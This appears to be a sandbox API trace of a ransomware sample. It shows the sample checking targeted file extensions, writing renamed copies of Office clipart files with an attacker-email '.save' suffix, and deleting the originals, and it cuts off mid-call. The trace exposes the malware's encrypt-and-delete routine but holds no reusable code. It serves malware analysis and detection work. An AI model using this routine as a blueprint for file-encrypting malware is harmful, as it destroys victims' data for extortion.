[0208.731] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.731] lstrlenW (lpString=".doc") returned 4 [0208.731] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.731] lstrlenW (lpString=".docx") returned 5 [0208.731] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0208.731] lstrlenW (lpString=".pdf") returned 4 [0208.731] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.731] lstrlenW (lpString=".xls") returned 4 [0208.732] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.732] lstrlenW (lpString=".xlsx") returned 5 [0208.732] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0208.732] lstrlenW (lpString=".ppt") returned 4 [0208.732] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.732] lstrlenW (lpString=".zip") returned 4 [0208.732] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.732] lstrlenW (lpString=".rar") returned 4 [0208.732] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.732] lstrlenW (lpString=".bz2") returned 4 [0208.732] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.732] lstrlenW (lpString=".7z") returned 3 [0208.732] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.732] lstrlenW (lpString=".dbf") returned 4 [0208.732] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.732] lstrlenW (lpString=".1cd") returned 4 [0208.732] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.732] lstrlenW (lpString=".jpg") returned 4 [0208.732] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.732] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0208.732] lstrlenW (lpString="J0101859.BMP") returned 12 [0208.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.733] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=31968) returned 1 [0208.733] CloseHandle (hObject=0x384) returned 1 [0208.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0208.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.733] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.733] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0208.734] GetLastError () returned 0x0 [0208.734] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.736] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0208.738] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.738] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.738] SetEndOfFile (hFile=0x388) returned 1 [0208.738] CloseHandle (hObject=0x388) returned 1 [0208.738] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.738] SetEndOfFile (hFile=0x384) returned 1 [0208.739] CloseHandle (hObject=0x384) returned 1 [0208.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0208.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.740] lstrlenW (lpString=".doc") returned 4 [0208.740] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.740] lstrlenW (lpString=".docx") returned 5 [0208.740] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0208.740] lstrlenW (lpString=".pdf") returned 4 [0208.740] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.740] lstrlenW (lpString=".xls") returned 4 [0208.740] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.740] lstrlenW (lpString=".xlsx") returned 5 [0208.741] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0208.741] lstrlenW (lpString=".ppt") returned 4 [0208.741] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.741] lstrlenW (lpString=".zip") returned 4 [0208.741] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0208.741] lstrlenW (lpString=".rar") returned 4 [0208.741] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0208.741] lstrlenW (lpString=".bz2") returned 4 [0208.741] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0208.741] lstrlenW (lpString=".7z") returned 3 [0208.741] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0208.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.741] lstrlenW (lpString=".dbf") returned 4 [0208.741] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0208.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.741] lstrlenW (lpString=".1cd") returned 4 [0208.741] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0208.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.741] lstrlenW (lpString=".jpg") returned 4 [0208.741] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0208.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.741] lstrlenW (lpString=".doc") returned 4 [0208.741] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.741] lstrlenW (lpString=".docx") returned 5 [0208.741] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0208.741] lstrlenW (lpString=".pdf") returned 4 [0208.741] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.742] lstrlenW (lpString=".xls") returned 4 [0208.742] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.742] lstrlenW (lpString=".xlsx") returned 5 [0208.742] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0208.742] lstrlenW (lpString=".ppt") returned 4 [0208.742] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.742] lstrlenW (lpString=".zip") returned 4 [0208.742] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0208.742] lstrlenW (lpString=".rar") returned 4 [0208.742] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0208.742] lstrlenW (lpString=".bz2") returned 4 [0208.742] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0208.742] lstrlenW (lpString=".7z") returned 3 [0208.742] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0208.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.742] lstrlenW (lpString=".dbf") returned 4 [0208.742] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0208.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.742] lstrlenW (lpString=".1cd") returned 4 [0208.742] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0208.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0208.742] lstrlenW (lpString=".jpg") returned 4 [0208.742] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0208.742] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0208.743] lstrlenW (lpString="J0101860.BMP") returned 12 [0208.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.743] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=32184) returned 1 [0208.743] CloseHandle (hObject=0x384) returned 1 [0208.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0208.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.744] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.744] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0208.745] GetLastError () returned 0x0 [0208.745] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0208.746] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0208.754] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.755] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.755] SetEndOfFile (hFile=0x388) returned 1 [0208.756] CloseHandle (hObject=0x388) returned 1 [0208.756] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.756] SetEndOfFile (hFile=0x384) returned 1 [0208.758] CloseHandle (hObject=0x384) returned 1 [0208.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0208.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.760] lstrlenW (lpString=".doc") returned 4 [0208.760] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.760] lstrlenW (lpString=".docx") returned 5 [0208.760] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0208.760] lstrlenW (lpString=".pdf") returned 4 [0208.760] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.760] lstrlenW (lpString=".xls") returned 4 [0208.760] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.760] lstrlenW (lpString=".xlsx") returned 5 [0208.760] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0208.760] lstrlenW (lpString=".ppt") returned 4 [0208.760] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.760] lstrlenW (lpString=".zip") returned 4 [0208.761] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0208.761] lstrlenW (lpString=".rar") returned 4 [0208.761] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0208.761] lstrlenW (lpString=".bz2") returned 4 [0208.761] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0208.761] lstrlenW (lpString=".7z") returned 3 [0208.761] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0208.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.761] lstrlenW (lpString=".dbf") returned 4 [0208.761] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0208.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.761] lstrlenW (lpString=".1cd") returned 4 [0208.761] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0208.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.761] lstrlenW (lpString=".jpg") returned 4 [0208.761] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0208.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.761] lstrlenW (lpString=".doc") returned 4 [0208.761] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0208.761] lstrlenW (lpString=".docx") returned 5 [0208.761] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0208.761] lstrlenW (lpString=".pdf") returned 4 [0208.761] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0208.761] lstrlenW (lpString=".xls") returned 4 [0208.761] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0208.761] lstrlenW (lpString=".xlsx") returned 5 [0208.761] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0208.761] lstrlenW (lpString=".ppt") returned 4 [0208.761] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0208.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.762] lstrlenW (lpString=".zip") returned 4 [0208.762] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0208.762] lstrlenW (lpString=".rar") returned 4 [0208.762] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0208.762] lstrlenW (lpString=".bz2") returned 4 [0208.762] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0208.762] lstrlenW (lpString=".7z") returned 3 [0208.762] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0208.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.762] lstrlenW (lpString=".dbf") returned 4 [0208.762] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0208.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.762] lstrlenW (lpString=".1cd") returned 4 [0208.762] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0208.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0208.762] lstrlenW (lpString=".jpg") returned 4 [0208.762] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0208.762] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0208.762] lstrlenW (lpString="J0101861.BMP") returned 12 [0208.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.763] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=32184) returned 1 [0208.763] CloseHandle (hObject=0x384) returned 1 [0208.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0208.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.763] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.763] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0208.766] GetLastError () returned 0x0 [0208.766] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0209.282] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0209.284] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.288] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.288] SetEndOfFile (hFile=0x388) returned 1 [0209.288] CloseHandle (hObject=0x388) returned 1 [0209.288] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.288] SetEndOfFile (hFile=0x384) returned 1 [0209.289] CloseHandle (hObject=0x384) returned 1 [0209.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0209.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.291] lstrlenW (lpString=".doc") returned 4 [0209.291] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.291] lstrlenW (lpString=".docx") returned 5 [0209.291] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0209.291] lstrlenW (lpString=".pdf") returned 4 [0209.291] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.291] lstrlenW (lpString=".xls") returned 4 [0209.291] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.291] lstrlenW (lpString=".xlsx") returned 5 [0209.291] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0209.291] lstrlenW (lpString=".ppt") returned 4 [0209.291] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.291] lstrlenW (lpString=".zip") returned 4 [0209.291] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.291] lstrlenW (lpString=".rar") returned 4 [0209.291] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.292] lstrlenW (lpString=".bz2") returned 4 [0209.292] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.292] lstrlenW (lpString=".7z") returned 3 [0209.292] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.292] lstrlenW (lpString=".dbf") returned 4 [0209.292] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.292] lstrlenW (lpString=".1cd") returned 4 [0209.292] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.292] lstrlenW (lpString=".jpg") returned 4 [0209.292] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.292] lstrlenW (lpString=".doc") returned 4 [0209.292] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.292] lstrlenW (lpString=".docx") returned 5 [0209.292] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0209.292] lstrlenW (lpString=".pdf") returned 4 [0209.292] lstrcmpiW (lpString1=".pdf", 